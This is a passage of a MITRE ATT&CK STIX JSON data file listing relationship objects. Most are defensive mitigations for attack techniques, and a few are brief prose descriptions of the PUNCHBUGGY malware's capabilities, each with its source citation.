            "modified": "2020-03-20T19:53:25.783Z",
            "created": "2019-06-13T16:49:49.538Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--7da0387c-ba92-4553-b291-b636ee42b2eb",
            "target_ref": "attack-pattern--02fefddc-fb1b-423f-a76b-7552dd211d4d",
            "relationship_type": "mitigates",
            "description": "Use Trusted Platform Module technology and a secure or trusted boot process to prevent system integrity from being compromised. (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process) (Citation: TCG Trusted Platform Module) (Citation: TechNet Secure Boot Process)",
            "id": "relationship--cce47265-080f-4148-b9c9-cd99eb1e2b2f",
            "external_references": [
                {
                    "url": "http://www.trustedcomputinggroup.org/wp-content/uploads/Trusted-Platform-Module-Summary_04292008.pdf",
                    "description": "Trusted Computing Group. (2008, April 29). Trusted Platform Module (TPM) Summary. Retrieved June 8, 2016.",
                    "source_name": "TCG Trusted Platform Module"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows/security/information-protection/secure-the-windows-10-boot-process",
                    "description": "Microsoft. (n.d.). Secure the Windows 10 boot process. Retrieved April 23, 2020.",
                    "source_name": "TechNet Secure Boot Process"
                }
            ],
            "type": "relationship",
            "modified": "2020-04-23T19:10:28.421Z",
            "created": "2019-06-13T16:49:49.549Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "relationship_type": "mitigates",
            "description": "\nClose out all browser sessions when finished using them to prevent any potentially malicious extensions from continuing to run.",
            "id": "relationship--bef3018a-1a38-4d1f-83ae-094f6c18f2a4",
            "type": "relationship",
            "modified": "2021-04-27T19:56:54.579Z",
            "created": "2019-06-13T16:53:10.321Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--23843cff-f7b9-4659-a7b7-713ef347f547",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "relationship_type": "mitigates",
            "description": "Only install browser extensions from trusted sources that can be verified. Browser extensions for some browsers can be controlled through Group Policy. Change settings to prevent the browser from installing extensions without sufficient permissions.",
            "id": "relationship--08dea09a-e7f5-4e6d-a142-73548f6f1498",
            "type": "relationship",
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            "created": "2019-06-13T16:53:10.338Z"
        },
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            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "relationship_type": "mitigates",
            "description": "Set a browser extension allow or deny list as appropriate for your security policy. (Citation: Technospot Chrome Extensions GP)",
            "id": "relationship--e13f1e41-fc5c-4cd3-ad6b-62bc597c959a",
            "external_references": [
                {
                    "url": "http://www.technospot.net/blogs/block-chrome-extensions-using-google-chrome-group-policy-settings/",
                    "description": "Mohta, A. (n.d.). Block Chrome Extensions using Google Chrome Group Policy Settings. Retrieved January 10, 2018.",
                    "source_name": "Technospot Chrome Extensions GP"
                }
            ],
            "type": "relationship",
            "modified": "2021-04-27T19:56:54.623Z",
            "created": "2019-06-13T16:53:10.350Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--389735f1-f21c-4208-b8f0-f8031e7169b8",
            "relationship_type": "mitigates",
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            "id": "relationship--0e686457-461d-496b-b838-dc8ca57a9f32",
            "type": "relationship",
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            "created": "2019-06-13T16:53:10.363Z"
        },
        {
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            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "relationship_type": "mitigates",
            "description": "Refer to NIST guidelines when creating password policies.(Citation: NIST 800-63-3)",
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            "external_references": [
                {
                    "description": "Grassi, P., et al. (2017, December 1). SP 800-63-3, Digital Identity Guidelines. Retrieved January 16, 2019.",
                    "url": "https://pages.nist.gov/800-63-3/sp800-63b.html",
                    "source_name": "NIST 800-63-3"
                }
            ],
            "type": "relationship",
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            "created": "2019-06-13T16:59:18.369Z"
        },
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            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication. Where possible, also enable multi-factor authentication on externally facing services.",
            "id": "relationship--cb87a0ce-0976-49e5-8e9c-2c908a24b30f",
            "type": "relationship",
            "modified": "2021-04-14T12:04:36.622Z",
            "created": "2019-06-13T16:59:18.386Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
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            "source_ref": "course-of-action--f9f9e6ef-bc0a-41ad-ba11-0924e5e84c4c",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "relationship_type": "mitigates",
            "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Too strict a policy may create a denial of service condition and render environments un-usable, with all accounts used in the brute force being locked-out.",
            "id": "relationship--c1a6c86e-5d5d-4cf1-845e-1660d9c19baf",
            "type": "relationship",
            "modified": "2021-04-14T12:04:36.677Z",
            "created": "2019-06-13T16:59:18.442Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "relationship_type": "mitigates",
            "description": "Remove users from the local administrator group on systems.",
            "id": "relationship--629ac426-ec81-4183-80c0-b7fead5e3b19",
            "type": "relationship",
            "modified": "2020-02-05T20:08:34.078Z",
            "created": "2019-06-13T18:50:51.732Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--2c2ad92a-d710-41ab-a996-1db143bb4808",
            "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be",
            "relationship_type": "mitigates",
            "description": "Although UAC bypass techniques exist, it is still prudent to use the highest enforcement level for UAC when possible and mitigate bypass opportunities that exist with techniques such as [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038).",
            "id": "relationship--f5ba1404-3e7e-4692-8a39-9e62e5d9542c",
            "type": "relationship",
            "modified": "2020-02-05T20:08:34.097Z",
            "created": "2019-06-13T18:50:51.747Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
            "relationship_type": "mitigates",
            "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files.",
            "id": "relationship--e9cb90ec-499b-4dd9-ab5d-cc4d3995ed67",
            "type": "relationship",
            "modified": "2020-01-31T12:32:52.541Z",
            "created": "2019-06-13T18:53:41.290Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--609191bf-7d06-40e4-b1f8-9e11eb3ff8a6",
            "target_ref": "attack-pattern--d3046a90-580c-4004-8208-66915bc29830",
            "relationship_type": "mitigates",
            "description": "Making the associated environment variables read only can make sure that the history is preserved.(Citation: Securing bash history)",
            "id": "relationship--42c25ff0-78e6-45fd-b131-a8c4564aa009",
            "external_references": [
                {
                    "url": "http://www.akyl.net/securing-bashhistory-file-make-sure-your-linux-system-users-won%E2%80%99t-hide-or-delete-their-bashhistory",
                    "description": "Mathew Branwell. (2012, March 21). Securing .bash_history file. Retrieved July 8, 2017.",
                    "source_name": "Securing bash history"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-31T12:32:52.564Z",
            "created": "2019-06-13T18:53:41.301Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--47e0e9fe-96ce-4f65-8bb1-8be1feacb5db",
            "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3",
            "relationship_type": "mitigates",
            "description": "Consider using application whitelisting configured to block execution of CMSTP.exe if it is not required for a given system or network to prevent potential misuse by adversaries. (Citation: MSitPros CMSTP Aug 2017)",
            "id": "relationship--dc317420-200a-40e1-97f0-4d76f5f3412f",
            "external_references": [
                {
                    "source_name": "MSitPros CMSTP Aug 2017",
                    "description": "Moe, O. (2017, August 15). Research on CMSTP.exe. Retrieved April 11, 2018.",
                    "url": "https://msitpros.com/?p=3960"
                }
            ],
            "type": "relationship",
            "modified": "2020-01-31T18:58:17.404Z",
            "created": "2019-06-13T18:55:24.662Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3",
            "relationship_type": "mitigates",
            "description": "CMSTP.exe may not be necessary within a given environment (unless using it for VPN connection installation).",
            "id": "relationship--add62ca8-e30a-4f6c-8186-770956f85305",
            "type": "relationship",
            "modified": "2020-01-31T18:58:17.444Z",
            "created": "2019-06-13T18:55:24.675Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "id": "relationship--a1505946-76d9-4acb-8b1a-02c926915702",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-06T17:54:28.228Z",
            "created": "2019-06-13T18:58:06.815Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--eb88d97c-32f1-40be-80f0-d61a4b0b4b31",
            "target_ref": "attack-pattern--64196062-5210-42c3-9a02-563a0d1797ef",
            "relationship_type": "mitigates",
            "description": "Disable Autoruns if it is unnecessary.(Citation: Microsoft Disable Autorun)",
            "id": "relationship--8506f2ac-e856-4d13-ac7e-fc88c4ec3c15",
            "external_references": [
                {
                    "url": "https://support.microsoft.com/en-us/kb/967715",
                    "description": "Microsoft. (n.d.). How to disable the Autorun functionality in Windows. Retrieved April 20, 2016.",
                    "source_name": "Microsoft Disable Autorun"
                }
            ],
            "type": "relationship",
            "modified": "2020-07-14T19:44:50.992Z",
            "created": "2019-06-13T18:59:41.067Z"
        },
        {
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            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "target_ref": "attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662",
            "external_references": [
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has Gzipped information and saved it to a random temp file before exfil.(Citation: Morphisec ShellTea June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--73faed96-608b-4740-894f-0e2eaee92343",
            "type": "relationship",
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            "created": "2019-06-13T19:12:07.261Z"
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        {
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            "source_ref": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c",
            "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384",
            "external_references": [
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather AVs registered in the system.(Citation: Morphisec ShellTea June 2019)\t",
            "relationship_type": "uses",
            "id": "relationship--3c0cb507-2bf0-46ab-b5c2-ba2865397722",
            "type": "relationship",
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            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "external_references": [
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather system information such as computer names.(Citation: Morphisec ShellTea June 2019)\t",
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            "type": "relationship",
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            "target_ref": "attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e",
            "external_references": [
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
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            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) can gather user names.(Citation: Morphisec ShellTea June 2019)",
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            "id": "relationship--2b2026c2-eb71-4c78-825d-5c4d0a747741",
            "type": "relationship",
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            "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
            "external_references": [
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                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1059/001) scripts.(Citation: Morphisec ShellTea June 2019)",
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            "type": "relationship",
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            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has used [PowerShell](https://attack.mitre.org/techniques/T1059/001) to decode base64-encoded assembly.(Citation: Morphisec ShellTea June 2019)",
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            "id": "relationship--bdd9a384-2d57-4238-bddd-5500e667d620",
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            ],
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            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "description": "Gorelik, M.. (2019, June 10). SECURITY ALERT: FIN8 IS BACK IN BUSINESS, TARGETING THE HOSPITALITY INDUSTRY. Retrieved June 13, 2019.",
                    "url": "http://blog.morphisec.com/security-alert-fin8-is-back",
                    "source_name": "Morphisec ShellTea June 2019"
                }
            ],
            "description": "[PUNCHBUGGY](https://attack.mitre.org/software/S0196) has hashed most its code's functions and encrypted payloads with base64 and XOR.(Citation: Morphisec ShellTea June 2019)",
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            "id": "relationship--e2e74982-a4a6-428f-888a-a910453b7e82",
            "type": "relationship",
            "modified": "2019-06-28T20:48:52.704Z",
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            "relationship_type": "mitigates",
            "description": "Consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.",
            "id": "relationship--e1fdde42-ef04-4b41-a7ba-1f268be9b0fe",
            "type": "relationship",
            "modified": "2020-01-31T18:59:01.170Z",
            "created": "2019-06-14T17:07:30.326Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "id": "relationship--d50b5687-ea69-40f9-86f3-eecd7e015bac",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-10-21T02:18:23.371Z",
            "created": "2019-06-14T17:11:30.497Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--987988f0-cf86-4680-a875-2f6456ab2448",
            "target_ref": "attack-pattern--8df54627-376c-487c-a09c-7d2b5620f56e",
            "relationship_type": "mitigates",
            "description": "Restrict storage and execution of Control Panel items to protected directories, such as <code>C:\\Windows</code>, rather than user directories.",
            "id": "relationship--ef0d2f85-5b7f-45b5-b78f-fcf95a6a2fbf",
            "type": "relationship",
            "modified": "2020-01-31T18:59:22.069Z",
            "created": "2019-06-14T17:13:57.525Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "relationship_type": "mitigates",
            "description": "Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.",
            "id": "relationship--b465fe54-83e6-4d1c-b752-d13bb788c3ac",
            "type": "relationship",
            "modified": "2020-03-23T17:04:18.806Z",
            "created": "2019-06-14T17:17:06.978Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "relationship_type": "mitigates",
            "description": "Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.",
            "id": "relationship--26099ea8-5af8-4173-b70d-b32bbcbe0732",
            "type": "relationship",
            "modified": "2020-03-23T17:04:18.808Z",
            "created": "2019-06-14T17:17:06.995Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0",
            "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67",
            "relationship_type": "mitigates",
            "description": "Use multi-factor authentication for user and privileged accounts.",
            "id": "relationship--a3012b2b-b19c-46fc-944c-d04d9c4b897b",
            "type": "relationship",
            "modified": "2020-03-23T17:04:18.804Z",
            "created": "2019-06-14T17:17:07.003Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "relationship_type": "mitigates",
            "description": "Windows:\nDo not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.(Citation: Microsoft Securing Privileged Access)\n\nLinux:\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to privileged accounts to avoid hostile programs from accessing such sensitive regions of memory.",
            "id": "relationship--a266294c-18a7-4a6e-8291-a901748c929c",
            "external_references": [
                {
                    "url": "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach",
                    "description": "Plett, C., Poggemeyer, L. (12, October 26). Securing Privileged Access Reference Material. Retrieved April 25, 2017.",
                    "source_name": "Microsoft Securing Privileged Access"
                }
            ],
            "type": "relationship",
            "modified": "2021-02-09T14:15:25.618Z",
            "created": "2019-06-14T17:21:38.567Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "relationship_type": "mitigates",
            "description": "Ensure that local administrator accounts have complex, unique passwords across all systems on the network.",
            "id": "relationship--7a3426bf-1751-43db-b844-6bf388a4c817",
            "type": "relationship",
            "modified": "2021-02-09T14:15:25.601Z",
            "created": "2019-06-14T17:21:38.582Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--49c06d54-9002-491d-9147-8efb537fbd26",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "relationship_type": "mitigates",
            "description": "With Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)",
            "id": "relationship--ee8ef62a-fcde-44b0-aa63-4028dad703aa",
            "external_references": [
                {
                    "url": "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard",
                    "description": "Lich, B. (2016, May 31). Protect derived domain credentials with Credential Guard. Retrieved June 1, 2016.",
                    "source_name": "TechNet Credential Guard"
                },
                {
                    "url": "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard",
                    "description": "NSA IAD. (2017, April 20). Secure Host Baseline - Credential Guard. Retrieved April 25, 2017.",
                    "source_name": "GitHub SHB Credential Guard"
                }
            ],
            "type": "relationship",
            "modified": "2021-02-09T14:15:25.638Z",
            "created": "2019-06-14T17:21:38.632Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--e3388c78-2a8d-47c2-8422-c1398b324462",
            "target_ref": "attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c",
            "relationship_type": "mitigates",
            "description": "Remove vulnerable Group Policy Preferences.(Citation: Microsoft MS14-025)",
            "id": "relationship--cf828aff-2e43-491b-a4d7-4cec93e193cd",
            "external_references": [
                {
                    "url": "http://support.microsoft.com/kb/2962486",
                    "description": "Microsoft. (2014, May 13). MS14-025: Vulnerability in Group Policy Preferences could allow elevation of privilege. Retrieved January 28, 2015.",
                    "source_name": "Microsoft MS14-025"
                }
            ],
            "type": "relationship",
            "modified": "2020-02-04T12:55:04.060Z",
            "created": "2019-06-14T17:23:38.902Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286",
            "relationship_type": "mitigates",
            "description": "Proactively search for credentials within the Registry and attempt to remediate the risk.",
            "id": "relationship--ac5925be-217e-4c88-815d-1a7098db548f",
            "type": "relationship",
            "modified": "2020-02-04T12:59:37.746Z",
            "created": "2019-06-14T17:25:16.733Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--86598de0-b347-4928-9eb0-0acbfc21908c",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "relationship_type": "mitigates",
            "description": "Properly configure firewalls and proxies to limit outgoing traffic to only necessary ports and through proper network gateway systems. Also ensure hosts are only provisioned to communicate over authorized interfaces.",
            "id": "relationship--4a8ad303-7a40-4396-8553-daef264dac71",
            "type": "relationship",
            "modified": "2020-03-20T19:03:04.477Z",
            "created": "2019-06-14T17:27:00.773Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "id": "relationship--82f1fa31-c796-474d-a58a-5ea8250a3118",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-20T19:03:04.514Z",
            "created": "2019-06-14T17:27:00.791Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c",
            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
            "relationship_type": "mitigates",
            "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Since the custom protocol used may not adhere to typical protocol standards, there may be opportunities to signature the traffic on a network level for detection. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
            "id": "relationship--ff5fc448-b344-457f-a243-f7ce2911816e",
            "external_references": [
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "type": "relationship",
            "modified": "2020-03-30T20:17:22.198Z",
            "created": "2019-06-14T17:31:50.923Z"
        },
        {
